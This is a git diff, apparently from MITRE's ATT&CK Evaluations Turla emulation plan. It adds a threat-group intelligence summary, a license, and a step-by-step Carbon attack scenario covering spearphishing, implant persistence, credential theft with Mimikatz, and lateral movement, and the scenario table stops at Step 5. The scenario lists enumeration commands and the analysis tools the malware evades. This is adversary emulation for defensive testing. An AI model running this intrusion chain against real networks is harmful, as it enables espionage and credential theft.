+cade73ca3e8bcd03b6666df421b36f1d93227ba3848d353e66efbeac96c28cedee70805b90e639cba0dd396ace599084ac48d0dfbcf9bb5fe05c58a990f90527 ./Resources/setup/terraform/modules/windesk-latest-static/files/FirstLogonCommands.xml +2ef89c713fd5992e3d1d344dc9e00a1105eaff1bc68530b6a8e1fc3efa4f826131c2ad7689b3ce07fc01864cf2c37200f007b981da53f163ff9317e585924b98 ./Resources/setup/terraform/modules/windesk-latest-static/files/winrm.ps1 +287ddcfbb54f27c44e93c5197f400581ca0d93cdecd46c2b72ccaf0019919699c0f94d2ec50631a968a9eec9a48eed8c7587ba7b3a74f258779c791dc2027b08 ./Resources/setup/terraform/modules/windesk-latest-static/main.tf +8d261adb5ef42099129ca625a7076e20498bcce8792b40f39e4ed9e857e972d523d52d9ff9bf1fe0cc30b67efa5f396ee0dcada69da06617cd39031b2303614b ./Resources/setup/terraform/modules/windesk-latest-static/outputs.tf +4a6b37c9e42fae4cfb4d60af2ac551126c26c5f1e7dd7ab9224a06257e5bd040d4bbcf1765ff446c66d18f2034a13a97254d54fc07873af78a78bb55e55ccc3f ./Resources/setup/terraform/modules/windesk-latest-static/versions.tf +0cb0a1acb72438b8f96e41a1b2c458fafee8dc15b7715f4d128e8bb28d9052ba3ba0aac68ec8d6df43603e28b4427c463803d3409df63d6c959b308066de3394 ./Resources/setup/terraform/modules/windesk-latest-static/variables.tf +b6025de74c9a7f1ac6a78d1a1680cfdc21d5f20218028bccb1d557ac8b83948b975a85989950eeedc5b3fd74ccacd8f659b9c9434927c69581ad5832e78359e5 ./Resources/setup/terraform/modules/rgroup/main.tf +c2ecef192cdf1bc51725f0babc62452981d2fd487fd21966fd3eb52c5ae3fa021c43232ee518814bed915c959110aa953ea2dd5ff3a5e20c3988293b2cf118a0 ./Resources/setup/terraform/modules/rgroup/outputs.tf +4a6b37c9e42fae4cfb4d60af2ac551126c26c5f1e7dd7ab9224a06257e5bd040d4bbcf1765ff446c66d18f2034a13a97254d54fc07873af78a78bb55e55ccc3f ./Resources/setup/terraform/modules/rgroup/versions.tf +73e9df89d9b31df8387b323ebdd5e26f9d64053a517825036723aa6cd7deedfd43ca27c6e96e93874e543502b666c1c181cb183f2f77453985b676bca5c2a094 ./Resources/setup/terraform/modules/rgroup/variables.tf +cade73ca3e8bcd03b6666df421b36f1d93227ba3848d353e66efbeac96c28cedee70805b90e639cba0dd396ace599084ac48d0dfbcf9bb5fe05c58a990f90527 ./Resources/setup/terraform/modules/winsrv-latest-static/files/FirstLogonCommands.xml +b1d4a8687c89fbc7880fe30d02dc1146a4ff05a41254706740875ac3f74c330fcc0f27ed9c3be41c68000c1b979b4785b75e3099aef08b3a9851edb84c470efb ./Resources/setup/terraform/modules/winsrv-latest-static/files/winrm.ps1 +ae0022130128777a35faa25609b6038a14dd69e6bfd1bcd44e0add5ea4d6256636fa5243db3c40d88d1d3eaf4844595f1e91179a3525992da6f30ebc58db2df5 ./Resources/setup/terraform/modules/winsrv-latest-static/main.tf +8d261adb5ef42099129ca625a7076e20498bcce8792b40f39e4ed9e857e972d523d52d9ff9bf1fe0cc30b67efa5f396ee0dcada69da06617cd39031b2303614b ./Resources/setup/terraform/modules/winsrv-latest-static/outputs.tf +4a6b37c9e42fae4cfb4d60af2ac551126c26c5f1e7dd7ab9224a06257e5bd040d4bbcf1765ff446c66d18f2034a13a97254d54fc07873af78a78bb55e55ccc3f ./Resources/setup/terraform/modules/winsrv-latest-static/versions.tf +8f9277aa09abe8380f594b9748df68998bfa2e2a38266f8c6222b97e0c106c0b1d1877a02eabdc4e97a52f308809b009b4feb9f54e6b2569bd39b0f68f981f47 ./Resources/setup/terraform/modules/winsrv-latest-static/variables.tf +39a760e6dac0cb28ffd13985b356a5309090cbf73e296d01a627a44ae1b3a501df2c16782dad9c102533d23dc8833c4ed84799cff8c0d5d84c4053ebf8ba70b5 ./Resources/setup/terraform/modules/linuxsrv-latest-static/main.tf +44b1628f4cad1df7479cbe08077966555366b30a332d2cbb21ad310ae812cc2fea11f152215b03502dc58cf0180c840c74c0c43ac2ca2f6268ed1f419bb6f893 ./Resources/setup/terraform/modules/linuxsrv-latest-static/outputs.tf +4a6b37c9e42fae4cfb4d60af2ac551126c26c5f1e7dd7ab9224a06257e5bd040d4bbcf1765ff446c66d18f2034a13a97254d54fc07873af78a78bb55e55ccc3f ./Resources/setup/terraform/modules/linuxsrv-latest-static/versions.tf +adb5fd0f648817ef59de625ad0664f340a58d1f51a12c62db4733a11d6f3db368f8d45a02851afe520d6601bd6d0ab6448df111080f2716161a59de31ef19df2 ./Resources/setup/terraform/modules/linuxsrv-latest-static/variables.tf +2e1fd66404f52fca9a92b5860a397bb80e47752986987ff58a71376764a9b970c525333d8ecb1e554b6ffd1d4efe3f6ecabd0c2a8eac840455bcf863e1ce8568 ./Resources/Binaries/binaries.zip +ffd92a13650d621f30d6548cb342c850090ddee5494447b4c627ee10486b01e77dead7b0f1fd4a272bafe3f0a48922fe51289946421c6e33a62fca5ea2c404d1 ./Resources/Penquin/README.md +576eae56cb7d8887882b39823078bf9936655f386582f14651f0ef389afc6ff92b241615b4096c26cf6d58047293362aa6250fdf29cb35a6d26d8e6827071941 ./Resources/Penquin/sniff.c +38cb7703690066f6924b48e7781beb7bafc6890a841f28e79e0f7e4cc066abbd9119d58e509d26a2e7ac72dae6de58ac1a01b8650d72614c5c1a9670a8f7285c ./Resources/Penquin/requirements.txt +28fdd27b813dc05ae6d34b82f691e6bf8f9378831fb6cd0a45ed396ef2ec19c8ce6b0d8ce2f3649e37a05b659f09b03eb2ab13edf9f82e49084d3be33a02baf2 ./Resources/Penquin/sendPacket.py +f0b653f65e7068f85b5265a332dbc21bb2a64a521787e8d5bc83ecdf06a60f1dcfd0b9004de789a59083e323c796ffd9212014820822ce4aa7cd980b3eec2397 ./Resources/Penquin/main.c +6f7bda1059a33e17e245d434309e1ae606b826dcaf3d5b3c9485a73d3bab059f6e488fbdcd0c8f53ca1d36061ba3ae436feae0a31cb5e1c7ecc9282060e51c00 ./Resources/Penquin/execution_penquin_test.sh +788f895e6fa990a944d5fe4625fe5d7023e84bd291e14ddf0f8c69590102951356380ee922ad81e5e9eb5151bc7bdc44928752e5ce74e545245186b4f7d41f01 ./Resources/Penquin/build_Penquin.sh +2551ff49991f31028f7ec5853220f85f2cec16a5c50a668b1c47180d1e7b9ebd72632f7032ac88a758addc28c5ffb23ae38cc15de68dd7955dc879acb19e33af ./Resources/Penquin/crypt.h diff --git a/turla/Intelligence_Summary/.gitkeep b/turla/Intelligence_Summary/.gitkeep new file mode 100644 index 00000000..e69de29b diff --git a/turla/Intelligence_Summary/Intelligence_Summary.md b/turla/Intelligence_Summary/Intelligence_Summary.md new file mode 100644 index 00000000..9bda1bfc --- /dev/null +++ b/turla/Intelligence_Summary/Intelligence_Summary.md @@ -0,0 +1,52 @@ +# Turla Intelligence Summary +## ATT&CK Group ID: [G0010](https://attack.mitre.org/groups/G0010/) + +Active since at least the early 2000s, [Turla](https://attack.mitre.org/groups/G0010/) is a sophisticated Russian-based threat group that has exploited victims in more than 50 countries.[1](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a) The group has targeted government agencies, diplomatic missions, military groups, research and education facilities, critical infrastructure sectors, and media organizations.[1](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a) [2](https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-disruption-snake-malware-network-controlled) [Turla](https://attack.mitre.org/groups/G0010/) leverages novel techniques and custom tooling and open-source tools to elude defenses and persist on target networks. [3](https://www.hhs.gov/sites/default/files/major-cyber-orgs-of-russian-intelligence-services.pdf) [4](https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_TURLA_20191021%20VER%203%20-%20COPY.PDF) The group is also known for its adaptability and willingness to evolve behaviors and tools to achieve campaign objectives. [5](https://www.eset.com/us/about/newsroom/press-releases/cyber-espionage-group-turla-and-its-latest-malware-under-the-microscope-1/) [6](https://www.kaspersky.com/about/press-releases/2023_apt-q1-2023-playbook-advanced-techniques-broader-horizons-and-new-targets) [7](https://www.ncsc.gov.uk/static-assets/documents/Turla%20Neuron%20Malware%20Update.pdf) +[Turla](https://attack.mitre.org/groups/G0010/) is known for their targeted intrusions and innovative stealth. After establishing a foothold and conducting victim enumeration, [Turla](https://attack.mitre.org/groups/G0010/) persists with a minimal footprint through in-memory or kernel implants. [8](https://cert.gov.ua/article/5213167) [9](https://dl.acm.org/doi/pdf/10.1145/3603506) [Turla](https://attack.mitre.org/groups/G0010/) executes highly targeted campaigns aimed at exfiltrating sensitive information from Linux and Windows infrastructure.[10](https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf) [11](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180251/Penquins_Moonlit_Maze_PDF_eng.pdf) + +**Associated Groups:** IRON HUNTER, Group 88, Belugasturgeon, Waterbug, WhiteBear, Snake, Krypton, Venomous Bear + +## Technique Scope + + +## Key Adversary Report References +Source ID | Report Links +|:---:|:---| +|1|https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a| +|2|https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-disruption-snake-malware-network-controlled| +|3|https://www.hhs.gov/sites/default/files/major-cyber-orgs-of-russian-intelligence-services.pdf| +|4|https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_TURLA_20191021%20VER%203%20-%20COPY.PDF| +|5|https://www.eset.com/us/about/newsroom/press-releases/cyber-espionage-group-turla-and-its-latest-malware-under-the-microscope-1/| +|6|https://www.kaspersky.com/about/press-releases/2023_apt-q1-2023-playbook-advanced-techniques-broader-horizons-and-new-targets| +|7|https://www.ncsc.gov.uk/static-assets/documents/Turla%20Neuron%20Malware%20Update.pdf| +|8|https://cert.gov.ua/article/5213167| +|9|https://dl.acm.org/doi/pdf/10.1145/3603506| +|10|https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf| +|11|https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180251/Penquins_Moonlit_Maze_PDF_eng.pdf| +|12|https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf| +|13|https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/| +|14|https://blog.talosintelligence.com/tinyturla/| +|15|https://www.leonardo.com/documents/15646808/16757471/Malware+Technical+Insight+_Turla+“Penquin_x64â€.pdf/524e39d0-029f-1a99-08d5-c013be1b8717?t=1590739252338| +|16|https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra| +|17|https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/waterbug-espionage-governments| +|18|https://www.gdatasoftware.com/blog/2014/03/23966-uroburos-deeper-travel-into-kernel-protection-mitigation| +|19|https://unit42.paloaltonetworks.com/acidbox-rare-malware/| +|20|https://securelist.com/analysis/publications/65545/the-epic-turla-operation/| +|21|https://www.lastline.com/labsblog/turla-apt-group-gives-their-kernel-exploit-a-makeover/| +|22|https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-disruption-snake-malware-network-controlled| +|23|https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a| +|24|https://www.hhs.gov/sites/default/files/major-cyber-orgs-of-russian-intelligence-services.pdf| +|25|https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_TURLA_20191021%20VER%203%20-%20COPY.PDF| +|26|https://www.eset.com/us/about/newsroom/press-releases/cyber-espionage-group-turla-and-its-latest-malware-under-the-microscope-1/| +|27|https://www.kaspersky.com/about/press-releases/2023_apt-q1-2023-playbook-advanced-techniques-broader-horizons-and-new-targets| +|28|https://www.ncsc.gov.uk/static-assets/documents/Turla%20Neuron%20Malware%20Update.pdf| +|29|https://cert.gov.ua/article/5213167| +|30|https://dl.acm.org/doi/pdf/10.1145/3603506| +|31|https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf| + +## Connect with us ðŸ—¨ï¸ +We 💖 feedback! Let us know how using ATT&CK Evaluation results has helped you and what we can do better. + +Email: evals@mitre-engenuity.org +Twitter: https://twitter.com/MITREengenuity +LinkedIn: https://www.linkedin.com/company/mitre-engenuity/ diff --git a/turla/LICENSE b/turla/LICENSE new file mode 100644 index 00000000..261eeb9e --- /dev/null +++ b/turla/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/turla/Operations_Flow/.gitkeep b/turla/Operations_Flow/.gitkeep new file mode 100644 index 00000000..e69de29b diff --git a/turla/Operations_Flow/Carbon_Operations_Flow.md b/turla/Operations_Flow/Carbon_Operations_Flow.md new file mode 100644 index 00000000..3e6ec2c2 --- /dev/null +++ b/turla/Operations_Flow/Carbon_Operations_Flow.md @@ -0,0 +1,34 @@ +Based on open-source intelligence, the ATT&CK ® Evaluations team created the below scenario leveraging techniques seen from Turla in the wild. We have adapted the scenario based on tools and resources available at the time. Below is a [scenario overview](#carbon-emulation-scenario-📖), [step-by-step breakdown](#scenario-steps👣), and an [infrastructure diagram](#infrastructure-diagram). + + +# Carbon Emulation Scenario 📖 +This scenario follows Turla’s multi-phase approach to implant a watering hole as a way to compromise more victims of interest. Turla gains initial access through a spearphishing email, a fake software installer is downloaded onto the victim machine and execution of the EPIC payload takes place. Once persistence and C2 communications are established, a domain controller is discovered, and CARBON-DLL is ingress into victim network. Further lateral movement takes the attackers to a Linux Apache server, PENGUIN is copied to the server and used to install a watering hole. + +
**Phase 1:** The scenario begins when the user Gunter visiting a typosquat domain via a spearphishing email. When the link is opened, a fake software installer is downloaded on Gunter’s Windows host machine. Gunter clicks “Install,†executing the malicious EPIC payload. EPIC establishes persistence and connects to a C2 server via a proxy web server using HTTP requests. The attacker’s enumeration on Gunter’s device, discovers a domain controller on the network and the domain admin Frieda. + +
**Phase 2:** To maintain persistence, the attackers will deploy CARBON-DLL and prepare to laterally move onto the domain controller. The use of password spraying helps to obtain Frieda’s domain admin credentials. Frieda’s credentials are then used to mount the DC’s hard drive, move a copy of CARBON-DLL to this drive, and execute the malware on the DC via remote scheduled task. A Linux Apache Server and the server’s admin Adalwolfa is discovered during enumeration. CARBON-DLL downloads Mimikatz and dumps Adalwolfa’s stored NTLM hash. Mimikatz and Adalwolfa’s NTLM hash are used to perform a pass-the-hash (PtH) attack allowing the attackers to authenticate into Adalwolfa’s device and copy CARBON-DLL to the workstation via PsExec. + +
**Phase 3:** On Adalwolfa’s workstation, a custom keylogger is dropped and captures plaintext SSH credentials. CARBON-DLL downloads the PENQUIN malware to Adalwolfa’s workstation, the SSH credentials allows the attackers to copy PENQUIN to the Apache server and execute the malware via plink. PENQUIN is utilized to install a watering hole causing users browsing a legitimate HTML site to be redirected to the malicious, attacker-controlled site. +

+ +![Carbon Operations Flow Diagram](../Resources/Images/CarbonOpsFlow.png) + +![Carbon Software Flow Diagram](../Resources/Images/CarbonSoftwareDiagram.png) + + +# Scenario Steps👣 + |
Steps & Techniques
|
User Story
|
Commands
|
Analyst Notes
| Software |
Reporting
| + | :------------- | :------------- | :-------------: | ------------- |------------- |------------- | +| **Step 1**
**Initial Compromise**
[T1566.002](https://attack.mitre.org/techniques/T1566/002/): Phishing: Spearphishing Link
[T1204.002](https://attack.mitre.org/techniques/T1204/002/): User Execution: Malicious File
[T1036.004](https://attack.mitre.org/techniques/T1036/004/): Masquerading: Masquerade Task or Service
[T1574.007](https://attack.mitre.org/techniques/T1574/007/): Hijack Execution Flow: Path Interception by Path Environment Variable
[T1547.004](https://attack.mitre.org/techniques/T1547/004/): Boot Logon Autostart Execution: Winlogon Helper DLL | User Gunter (non-admin) receives a spearphishing email from noreply@sktlocal[.]it with a malicious link, http://www.anto-int.com.
Believing the link to be a valid NATO-related site, Gunter clicks the link and is tricked into installing what appears to be a legitimate software installer. The malicious installer (`NtFlashVersion.exe`) drops EPIC onto Gunter’s Windows workstation.| |CTI deviation: we simplified the delivery of EPIC for feasibility purposes. According to CTI, Turla previously delivered EPIC using Adobe exploits (CVE-2013-3346 & CVE-2013-5065) or watering hole attacks.|EPIC|
https://securelist.com/the-epic-turla-operation/65545/

https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=4501a782-fd84-4f44-a231-ee2a3e838c39&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments +**Step 2**
**Establish Initial Access**
[T1027](https://attack.mitre.org/techniques/T1027/): Files or Information
[T1055.007](https://attack.mitre.org/techniques/T1055/001/): Injection: Dynamic-link Library Injection
[T1057](https://attack.mitre.org/techniques/T1057/): Discovery
[T1059.003](https://attack.mitre.org/techniques/T1059/003/): and Scripting Interpreter: Windows Command Shell
[T1087.001](https://attack.mitre.org/techniques/T1087/001/): Account Discovery: Local Account
[T1012](https://attack.mitre.org/techniques/T1012/): Query Registry
[T1082](https://attack.mitre.org/techniques/T1082/): Information Discovery
[T1124](https://attack.mitre.org/techniques/T1124/): System Time Discovery
[T1057](https://attack.mitre.org/techniques/T1057/): Process Discovery
[T1135](https://attack.mitre.org/techniques/T1135/): Network Share Discovery
[T1049](https://attack.mitre.org/techniques/T1049/): System Network Connections Discovery
[T1069.001](https://attack.mitre.org/techniques/T1069/001/): Permission Groups Discovery: Local Groups
[T1033](https://attack.mitre.org/techniques/T1033/): System Owner/User Discovery
[T1083](https://attack.mitre.org/techniques/T1083/): File and Directory Discovery
[T1560.002](https://attack.mitre.org/techniques/T1560/002/): Archive Collected Data: Archive via Library
[T1132.001](https://attack.mitre.org/techniques/T1132/001/): Data Encoding: Standard Encoding
[T1071.001](https://attack.mitre.org/techniques/T1071/001/): Application Layer Protocol: Web Protocols
[T1090.002](https://attack.mitre.org/techniques/T1090/002/): Proxy: External Proxy | EPIC will then be injected via DLL onto Gunter’s workstation. The implant will perform initial discovery commands, enumerating information about the user, host device, network, system, registry, directory, and running processes. EPIC will send this data to the C2 via a proxy web server using HTTP requests. This web server, which was initially used to download the Adobe Flash installer, hosts a fake WordPress-related domain. |EPIC will terminate itself upon discovering any of the following processes:
_`tcpdump.exe`_
_`windump.exe`_
_`ethereal.exe`_
_`wireshark.exe`_
_`ettercap.exe`_
_`snoop.exe`_
_`dsniff.exe`_ | **WordPress domain**: CTI shows Turla has utilized compromised legitimate WordPress sites and WordPress-focused URLs for C2 purposes (e.g., _newsforum.servehttp[.]com/wordpress/wp-includes/css/img/upload.php_)| EPIC|
https://securelist.com/the-epic-turla-operation/65545/
https://go.recordedfuture.com/hubfs/reports/cta-2020-0312.pdf
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf| +**Step 3**
**Discovery & Privilege Escalation**
[T1033](https://attack.mitre.org/techniques/T1033/): System Owner/User Discovery
[T1007](https://attack.mitre.org/techniques/T1007/): System Service Discovery
[T1124](https://attack.mitre.org/techniques/T1124/): System Time Discovery
[T1049](https://attack.mitre.org/techniques/T1049/): System Network Connections Discovery
[T1135](https://attack.mitre.org/techniques/T1135/): Network Share Discovery
[T1016](https://attack.mitre.org/techniques/T1016/): System Network Configuration Discovery
[T1069.001](https://attack.mitre.org/techniques/T1069/001/): Permission Groups Discovery: Local Groups
[T1069.002](https://attack.mitre.org/techniques/T1069/002/): Permission Groups Discovery: Domain Groups
[T1012](https://attack.mitre.org/techniques/T1012/): Query Registry
[T1059.001](https://attack.mitre.org/techniques/T1059/001/): Command and Scripting Interpreter: PowerShell
[T1574.011](https://attack.mitre.org/techniques/T1574/011/): Hijack Execution Flow: Services Registry Permissions Weakness|Once C2 communications have been established between EPIC and the C2 via the proxy web server, the attackers will collect information about the host device, including:
-Local/privileged groups
-System services
-System/Process discovery

At this point, the adversary will discover 2 crucial aspects on the network:
-Domain controller
-Domain admin accounts, including user Frieda

In order to escalate privileges, EPIC restarts itself as local system admin on Gunter’s workstation.|EPIC discovery commands:
`arp -a`

`net use`

`ipconfig/all`

`net localgroup administrators`

`net group "Doman Admins" /domain`

`net group "Domain Computers" /domain`

`net group "Domain Controllers" /domain`

`tasklist /svc`

`reg query`| | EPIC | https://securelist.com/the-epic-turla-operation/65545/
https://go.recordedfuture.com/hubfs/reports/cta-2020-0312.pdf
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf
https://www.ncsc.admin.ch/ncsc/en/home/dokumentation/berichte/fachberichte/technical-report_apt_case_ruag.html
https://recon.cx/2018/brussels/resources/slides/RECON-BRX-2018-Visiting-The-Snake-Nest.pdf| +**Step 4**
**Persistence**
[T1105](https://attack.mitre.org/techniques/T1105/): Ingress Tool Transfer
[T1543.003](https://attack.mitre.org/techniques/T1543/003/): Create or Modify System Process: Windows Service
[T1112](https://attack.mitre.org/techniques/T1112/): Modify Registry
[T1569.002](https://attack.mitre.org/techniques/T1569/002/): System Services: Service Execution
[T1036.004](https://attack.mitre.org/techniques/T1036/004/): Masquerade Task or Service
[T1055.007](https://attack.mitre.org/techniques/T1055/001/): Injection: Dynamic-link Library Injection
[T1033](https://attack.mitre.org/techniques/T1033/): System Owner/User Discovery
[T1049](https://attack.mitre.org/techniques/T1049/): System Network Connections Discovery
[T1071.001](https://attack.mitre.org/techniques/T1071/001/): Application Layer Protocol: Web Protocols
[T1573.002](https://attack.mitre.org/techniques/T1573/002/): Encrypted Channel: Asymmetric Cryptography
[T1573.001](https://attack.mitre.org/techniques/T1573/001/): Encrypted Channel: Symmetric Cryptography
[T1132.001](https://attack.mitre.org/techniques/T1132/001/): Data Encoding: Standard Encoding
[T1074.001](https://attack.mitre.org/techniques/T1074/001/): Data Staged: Local Data Staging| Next, the attackers will deploy CARBON-DLL as a second-stage malware onto Gunter’s workstation in order to maintain persistence. CARBON-DLL, a variant of CARBON relying on DLLs and asymmetric encryption, will establish C2 communications via a redirector using HTTP requests. Once this communication channel is created, the malware will run a few discovery commands on Gunter’s device and drop several files to disk.

CARBON-DLL has the following components and functions:
_Installer_ - create subdirectories for staging, create services, and executes loader

_Loader_ - written to a registry key path, runs under svchost and executes orchestrator

_Orchestrator_ - injects communications library DLL into processes via HTTP |CARBON:
`ipconfig -all`

`netstat -r`

`netstat -an`

`nbtstat -n`

`nbtstat -s`

`net share`

`net file`

`net session`

`net use`

`net group`

`net view`

`net config`

`system info`

`net time \\127.0.0.1`| C2 Comms Details:
_Internal_: P2P, use of named pipes, worker drones received tasks via named pipes

_External_: use of HTTP requests, communication drones contacted C2s directly| CARBON-DLL |
https://securelist.com/the-epic-turla-operation/65545/
https://www.ncsc.admin.ch/ncsc/en/home/dokumentation/berichte/fachberichte/technical-report_apt_case_ruag.html
https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/
https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity
https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra | +**Step 5**
